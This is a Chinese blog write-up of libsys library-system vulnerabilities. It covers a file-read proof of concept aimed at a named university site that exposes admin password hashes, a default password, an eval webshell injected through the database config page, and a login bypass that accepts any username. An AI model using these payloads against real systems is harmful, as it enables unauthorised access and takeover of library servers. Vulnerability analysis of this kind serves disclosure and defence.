`

汇文libsys图书馆管理系统几个漏洞分析

阅读更多

libsys是一个图书馆管理系统,蛮多大学使用,详情见官网

  • /zplug/ajax_asyn_link.old.php任意文件包含(可查看后台admin密码,v5.0版本可getshell)
  • /admin/login.php任意用户登录漏洞(v5.0版本可getshell)
  • 默认密码:huiwen_opac

0x1. /zplug/ajax_asyn_link.old.php 任意文件包含(v5.0可getshell)

/zplug/ajax_asyn_link.old.php

<?php
$url = $_REQUEST['url'];
if ( $url && $url != "" )
{
    $ret = file_get_contents( $url );
}
else
{
    $ret = "";
}
echo $ret;
?>

libsys系统使用了zend加密,代码需要用dezender解密,我用的黑刀dezender5,内核三方式解密,还可以在http://www.showmycode.com/上在线解密,成功率不是100%

很明显,存在任意文件包含。由于后台密码存在/admin/opacadminpwd.php文件中,所以

获取后台密码POC:
http://lib.zstu.edu.cn/hwweb/zplug/ajax_asyn_link.old.php?url=../admin/opacadminpwd.php
3

$strPassWdFile是系统管理员密码
$strPassWdView是书评管理员密码

后台地址:http://lib.zstu.edu.cn/hwweb/admin/login.php

密码cmd5解密后,即可登录。

4

分析下如何getshell:

在admin/cfg_database.php中

$fulltextPath = $_REQUEST['fulltext_path'];


$strFile2 = "\$user = \"".$user."\";\r\n\$password = \"".$password."\";\r\n\$host = \"".$host."\";\r\n\$sid = \"".$sid."\";\r\n\$port = \"".$port."\";\r\n\$fulltextPath=\"".$fulltextPath."\";";


$strMsg2 = write_para( "../include/hwopacpwd.php", $strFile2 );

/admin/func_write_para.php

function write_para( $strFileName, $strPara )
{
    $fhandle = fopen( $strFileName, "wb" );
    if ( $fhandle )
    {
        $strPara = "<?php\n".$strPara."\n?>";
        if ( fwrite( $fhandle, $strPara ) )
        {
            fclose( $fhandle );
            $strMsg = "数据修改成功。";
        }
        else
        {
            $strMsg = "数据修改失败。";
        }
    }
    else
    {
        $strMsg = "数据修改失败。";
    }
    return $strMsg;
}

数据库配置:http://lib.zstu.edu.cn/hwweb/admin/cfg_database.php

可以发现,只要修改数据库配置信息,就能将配置信息写入/include/hwopacpwd.php文件中,所以getshell只需将全文索引文件夹路径修改为:c:/hwopac/index/";@eval($_POST['joychou']);//

5

菜刀连接后,可以看到hwopacpwd.php如下

6

0x2. /admin/login.php任意用户登录漏洞

/admin/login.php

session_start( );

if ( isset( $_REQUEST['username'] ) )

{

        $strUser = trim( $_REQUEST['username'] );

        $strInput = trim( $_REQUEST['passwd'] );

        $strMsg = "用户名或者密码错误";

        switch ( $strUser )

        {

        case "opac_admin" :

                $strPassWd = $strPassWdFile;

                $strMsg = verify_pwd( $strInput, $strPassWd );

                $strUrl = "cfg_basic.php";

                break;

        case "view_admin" :

                $strPassWd = $strPassWdView;

                $strMsg = verify_pwd( $strInput, $strPassWd );

                $strUrl = "cfg_review.php";

                break;

        default :

                $strMsg = "用户名或者密码错误";

                break;

        }

        if ( $strMsg == false )

        {

                $strMsg = "用户名或者密码错误";

        }

        else

        {

                $_SESSION['ADMIN_USER'] = $strUser;

                header( "Location:".$strUrl );

        }

}

可以发现,当post的username不是opac_admin和view_admin的时候,执行$_SESSION['ADMIN_USER'] = $strUser;

再访问/admin/cfg_database.php时,会有如下的验证。当$_SESSION['ADMIN_USER']不为空时,验证通过,成功登录后台。

session_start( );
if ( !isset( $_SESSION['ADMIN_USER'] ) )
{
    header( "Location:login.php" );
    exit( );
}

还是拿上面的例子举例吧。或者搜索opac v5

先随便提交一个username和passwd的post数据:username=joychou&passwd=joychou

7

再访问/admin/cfg_database.php即可登录后台。并且可以像上面的操作一样getshell

8

分享到:
评论

相关推荐

    05-1汇文LIBSYS图书馆管理系统主要技术指标.doc

    05-1汇文LIBSYS图书馆管理系统主要技术指标

    libsysHelper:Libsys 汇文图书馆管理系统 第三方小助手

    "libsysHelper" 是一个针对 "Libsys 汇文图书馆管理系统" 的第三方辅助工具。这个工具的目的是为了方便用户更高效地获取和管理在 Libsys 系统中的图书信息。 【描述解析】 描述中提到 "libsysHelper" 能够抓取 ...

    汇文移动图书馆项目介绍.pptx

    汇文移动图书馆系统是通过短信平台实现的,为读者提供了多种功能。包括: 1. **提醒类服务**:如预约图书到书提醒、委托到书提醒、借阅超期提醒和借阅到期前提醒,确保读者不会错过任何重要信息。 2. **查询类服务*...

    巧用汇文文献信息系统Libsys5.5解决几个大数据问题.pdf

    汇文文献信息服务系统Libsys5.5是当前图书馆文献管理系统中的重要工具,它不仅在图书馆外服务管理、文献管理、流通管理等方面发挥着关键作用,而且还针对大数据处理提供了有效的解决方案。以下是关于Libsys5.5在解决...

    巧用汇文文献信息系统Libsys5.5解决几个大数据问题.zip

    汇文文献信息系统Libsys5.5作为一款先进的图书馆自动化管理系统,为大数据时代的图书馆工作提供了强大的支持。本文将深入探讨如何利用Libsys5.5来应对和解决大数据相关的问题。 一、Libsys5.5系统概述 Libsys5.5是...

    当前国内外图书馆管理系统的现状.doc

    在国内,图书馆管理系统已经开发了 30 多种,例如 ILAS、Interlib、汇文等系统。ILAS 系统是一个基于 UNIX/XEN1X 操作系统的管理系统,具有高智能化和自动化程度,能够实现多任务、多点存取、多用户等功能。...

    汇文图书管理系统借阅.pdf

    汇文图书管理系统借阅.pdf

    05-1汇文LibsysBS图书馆集群管理系统主要技术指标.doc

    05-1汇文LibsysBS图书馆集群管理系统主要技术指标

    图书馆管理信息系统开题报告

    东北电力大学的图书馆管理信息系统使用南京汇文libsys3.0自动化系统,实现了流通、阅览等方面的自动化管理。然而,系统存在一些问题,如信息孤岛现象,采购与库存信息未能有效整合,影响统计查询;同时,大部分工作...

    我国图书馆自动化集成管理系统特点及主要系统比较分析.pdf

    在对主要图书馆自动化集成管理系统进行比较分析时,文中选取了ILASII、汇文文献信息服务系统、MⅡ、Datatrans、博菲特系统等五个用户数较多、技术和数据处理先进的系统进行了分析。这些系统在功能、技术特点及数据...

    图书馆管理系统Oracle数据库平台升级研究.pdf

    随着计算机网络的发展,数字化图书馆已成为趋势,图书馆管理系统如汇文文献信息服务系统也在不断更新和完善。文章指出,无论系统多么成熟稳定,都需要定期升级以适应新的应用需求。 文章首先阐述了数据库升级的必要...

    VB结合SQL语句对汇文系统数据表的维护管理.pdf

    汇文系统是一个大型的图书馆文献信息管理系统,自 1999 年以来,已在国内许多高校、公共图书馆得到广泛使用。 在实际使用汇文系统过程中难免会出现的一些难以预料的情况,有时可能需要直接对表数据进行修改维护,...

    我国图书馆自动化集成管理系统特点及主要系统比较分析.rar

    《我国图书馆自动化集成管理系统特点及主要系统比较分析》 随着信息技术的飞速发展,图书馆自动化集成管理系统已经成为现代图书馆运营不可或缺的一部分。这篇分析报告深入探讨了我国图书馆自动化集成管理系统的特性...

    关于图书管理系统应用现状的调研精.doc

    目前,国内高校图书馆普遍采用了自动化管理系统,如汇文和ILAS,这两款系统占据了较大的市场份额,且有较高的稳定性和用户满意度。此外,诸如ALEPH这样的国外系统,因其先进功能和成熟技术,也在部分实力强大的图书...

    图书馆电子资源远程访问系统

    汇文系统,全称为“汇文文献信息服务系统”,是图书馆界广泛使用的集成管理系统,涵盖了图书借阅、期刊管理、读者服务等多个方面。通过与汇文系统的整合,该远程访问系统能够利用已有的用户数据库,确保用户的身份...

    国内一线图书管理系统-对比.docx

    文档对比了国内三家一线图书管理系统的特性,分别是北邮、江苏汇文和深圳图书馆的系统。这些系统在技术层面上展现了高度的先进性和灵活性,旨在满足不同图书馆的管理需求。 首先,北邮的图书管理系统采用先进的技术...

    基于云计算的数字图书馆应用研究.pdf

    当前我国图书馆使用了多种自动化集成系统,包括国外引进的系统以及国内自行研发的系统如ILAS系统、汇文LIBSYS2000、金盘GDLS和图创INTERLIB等。然而,国内自行研发的系统在功能上仍相对单一,数据整合能力有限,难以...

Global site tag (gtag.js) - Google Analytics